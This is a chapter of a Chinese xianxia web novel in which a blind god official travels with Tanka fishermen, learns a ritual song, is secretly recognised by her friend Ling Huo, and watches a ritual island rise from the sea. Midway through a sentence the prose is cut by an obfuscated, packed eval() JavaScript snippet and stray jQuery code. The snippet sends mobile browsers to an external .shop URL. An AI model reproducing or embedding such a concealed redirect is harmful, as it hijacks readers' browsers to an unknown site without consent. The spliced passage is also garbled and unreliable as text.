辛纯这一夜睡得很好。
醒来,渔船微微摇晃,空气由燥热转为湿润,终是有风了。
另一半床铺空荡,残留着属于凡人的余温,想来同寝的妇人不久前离开。
辛纯快速拾掇好衣着,掀起稻草扎的帘子出了船舱,船头传来妇人问早的声音,辛纯颔首以礼,同样回了声早。
疍民一日两食,海上米面稀缺,加上前往祭拜不用劳作捕捞,便只以鱼汤和些许鱼肉作食。昆仑弟子是贵客,无论再怎么节省理应运出些米面招待,再不济也该煮上些稀粥米糊,但修道之人服用辟谷丹,不食五谷,婉拒了疍民们的好意,因而只头日晚宴上席,过后不再与疍民共同进食。
辟谷丹仙凡同宜,辛纯服用了辟谷丹和疗伤的丹药,算是吃过了一整日的吃食。辛纯回船舱继续翻阅未看完的典籍,待看到腰酸手酸,遮光的稻草帘被掀起,阳光不似日出时清爽,也不似正午那样刺肤,仿佛药鼎残留的余热,将大半日炼制在其中。
约莫是申时。
已过正午,太阳还未入海,高悬在天边照亮世间的花草树木,却不伤及一瓣一叶。
掀帘子的是妇人,辛纯免去了对方的打招呼,自己只是在里面看书,无需问是否方便。正当辛纯以为妇人只是像往常一样拿东西,休息手关节不甚在意时,妇人开了口。
像聊闲话一样,聊的却又不是闲话,辛纯之前打听过疍民祭拜,寻常的祭拜是供奉牲畜瓜果,或是特殊的贡品,疍民的祭拜则不一样。
远古时期人以部落群居,重大节日时,部落里的人会围成一圈唱歌跳舞,疍民和部落一样,祭拜时以歌舞为贡。
再进一步辛纯没有再继续打听,她不是疍民,无需对唱什么音跳什么舞了解得一清二楚。
“姑娘是否要学?”妇人哼出了一段曲调。
辛纯看不见,听觉在失明后变得格外敏感,曲调入耳时,刹那间拨乱了心里的琴弦。
琴弦铮铮铮断裂,如同她昨夜在心里哼唱的零碎音节,音节被曲调串起,榫卯般节节榫合,与迷迷糊糊做梦时耳边听到的如出一辙。
她的记忆里为何会有疍民祭拜的曲子?
自己这几日与妇人同寝,莫不是把对方的梦呓当成了自己的记忆?
曲调无词,却也不是难学,辛纯记东西快,记忆里也有些许音节,不到一个时辰便背下了全部。
至于舞……辛纯抱着如果学了能否想起什么的念头,劳烦妇人继续教导,辛纯无法视物,妇人手把手教,学完后周遭的温度缓缓降下,很遗憾,记忆并没有像预料的一样多出什么。
红日的最后一抹余晖撒在大海上,锅碗瓢盆响了起来,疍民用过晚食,清冷的玉盘高挂。
夜幕彻底与大海融为一体。
晚上疍民轮流值守,妇人揽着一件厚实的外衣,主动守夜。
“铃火姑娘你歇息吧,这么些天都是你,真叫我们不好意思。我有小猫儿陪着,不必担心。”妇人轻拍身边猫妖背部。
橘色的一团舔着爪子,浑身上下每一根毛都抖擞着乐意,猫妖被妇人变着法投喂,除辛纯外,最粘的就是妇人。
妇人带着猫食,猫妖巴不得一起守夜。
辛纯和铃火看得出来猫妖喜欢得紧,经仙官训练后,猫妖实力大增,保护凡人绰绰有余,算时间,今夜换到镜水和辛珍珍值守。
应当不会有大碍。
海风吹动草帘,排排渔船入眠。
……
夜半三更。
铃火迷迷糊糊听到有歌声,歌声是从身边传来的。
她身边睡着神官。
神仙梦中呓语不是稀奇事,她自己也会,想到“日有所练也有所梦”,铃火没在意继续睡去。
梦里,又回到了和好友在一起的日子。
铃火炼丹,白天拉着好友试吃丹药,晚上拉着好友留宿,炼累了直接躺在丹房里,梦里呓语说着丹方。
两个人睡觉都不老实,一个梦中呓语,一个梦中啃食。
好友是凡人,吃仙果会不消化,因灵气太多导致经脉肿胀,非必要不会吃,加上好友善良有孝心,所以会把找来的仙果都给养父母,自己不吃,饿了就在家吃灵气稀薄的花花草草,由于长期食不果腹,落下了个梦中啃食的毛病。
认识铃火后,铃火给好友炼制辟谷丹,还有其他凡人可以服用的丹药,可还是晚了,幼年长期的积累已形成了习惯。
铃火倒是不怕睡着的时候被啃,啃醒了投喂几颗丹药便是。好友遇害后,铃火梦到时还觉得亲切……嗯?不是在梦中吗,怎么还会痛?
铃火猛地睁眼。
左臂被抱着啃咬,黑暗里的一幕与灯火通明里的一幕重叠。
——神官是她的好友辛纯?!
一个大胆的猜测从铃火脑海里冒出,回忆与神官的种种细节,越和好友对比越对得上。
铃火内心抑制不住欣喜,转而又化为心疼,好友能死里逃生,肯定经历了非常多。
有你这样的好友在,她一定会努力活下去。铃火想起当日在鲤鱼族的点额堂时神官安慰她的话,神官安慰是真,陌生也是真,如果是她的好友辛纯,即便有需要隐瞒的理由,回来后一定会与她相认,哪怕是暗示;神官却待她如陌生人,没有半点认识她的迹象……
铃火心中有了一个确定的猜测:她的好友失忆了。
落入魔窟,失去五官失去记忆,差一点连性命也失去。
“你能活着回来什么都不重要了。”铃火在心里道,能再次看到好友是她此生最大的幸事,好友不记得她也无关紧要。
“你其实还是凡人罢。”铃火在心里继续对以神官的身份归来的好友道。
铃火按耐住与好友相认的冲动,相认有让神官身份拆换的隐患,寻找魔头兹事体大,若叫人发现神官其实是凡人,恐怕会动摇大家的心。
她的好友恐怕也是这样考虑的——铃火私以为,用神官身份出现在那个锦鲤面前也算是出了一口气。
铃火看了眼黑暗中的好友,嘴角浮现出笑意后躺下。
睡了一个舒坦的觉。
……
又是一日清晨。
辛纯醒来,梳洗后向往日一样服用辟谷丹,一个声音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876700|212252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
叫住了她,是铃火。
疍民找到祭拜的岛屿就这两三日,祭拜前疍民斋戒,不食生鱼也不食铃火用法术烤的鱼,铃火手里没有拿着烤鱼串,而是拿了几个药瓶。
药瓶转而来到了辛纯手上。
辛纯的视线从药瓶转回铃火,铃火的声音铃铛般清脆:“我炼制了几种不同口味的辟谷丹,还请神官帮忙试吃一二。”
然后小声补充道,“若口味合适,以后卖给仙山修士换灵石。”
辟谷丹不好吃,甚至不如生米面,除非是专心修行,或者是囊中羞涩,才会忍受辟谷丹的无味干巴。
若是想吃有味道的,底蕴丰厚的仙人会食用灵禽灵果;没有仙人条件的修士,若手头宽裕,可以下馆子点上一桌好酒菜。
辛纯心里以抓到魔头为重,没有口腹之欲,铃火的忙不过是举手之劳,辛纯将每种口味的辟谷丹一一试过,不得不说,比寻常辟谷丹的口味好上太多。
“仙子真是好想法。”辛纯将药瓶还给铃火。
铃火却是推脱不收,执意要赠送给帮忙尝试的仙官:“我的好友还在魔界,还请神官多多帮忙。”
辛纯更是不收了:“即便没有这些,仙子好友我也会竭力寻救。”
铃火一时间不知该说什么,只好收回,心里想着每日找神官试吃丹药,也算是和好友多多接触。
铃火面露喜色,声音充满感激:“我自是相信神官的。”
说完,铃火轻快地去别处炼制丹药。
……
仙人吃辟谷丹犹如凡人啃干粮,辛珍珍将打开的药瓶飞快塞回,一点都不想见到里面难吃的辟谷丹。
辛珍珍戴着面纱,面纱上的目光从一飕飕渔船上缓慢移动。
疍民们在斋戒,没有继续吃鱼,端出了清爽诱人的果子,果子虽比米面稀缺,但也并非不可得。
米汤、面疙瘩弥散在空气中的味道被风送进辛珍珍的面纱,从天界下来后,辛珍珍太久没吃好东西了,辛珍珍舔了舔嘴唇,黑腕盛着白汤,旁边点缀翠绿或鲜红——她原本拥有这样的待遇,收养她的凡人夫妻不责怪她娇贵挑食,花钱花心思寻来珍贵的米面水果。
可即便是难得的米面水果,辛珍珍也嫌弃。
现在……辛珍珍戴着能改变面貌身形声音的面纱,既然她选择不与这里的疍民相认,那这些也没什么好稀罕的。
哼!不过是些粗食而已。
辛珍珍拿起装有辟谷丹的药瓶,看到时又想到辟谷丹的难吃,一气之下,药瓶被狠狠丢入水中。
水花溅起,却溅出了诱人的香味,引得肚子咕噜叫,烤鸡、羊奶枣、玫瑰花饼……辛珍珍闻着味寻去,见是铃火在炼制丹药。
辛珍珍攥紧了衣裙,咬牙跺脚将自己气饱。
自斋戒后,渔船在海上行进了两天,直至第三天,大海还是一望无际。
与之前不同,直行的渔船开始沿着圈环绕,像是在围着什么东西。绕了三圈后,圈里的海水冒出咕噜咕噜的泡泡。
然后,什么都没有的海面底下出现阴影。
一座岛屿缓缓浮出了海面。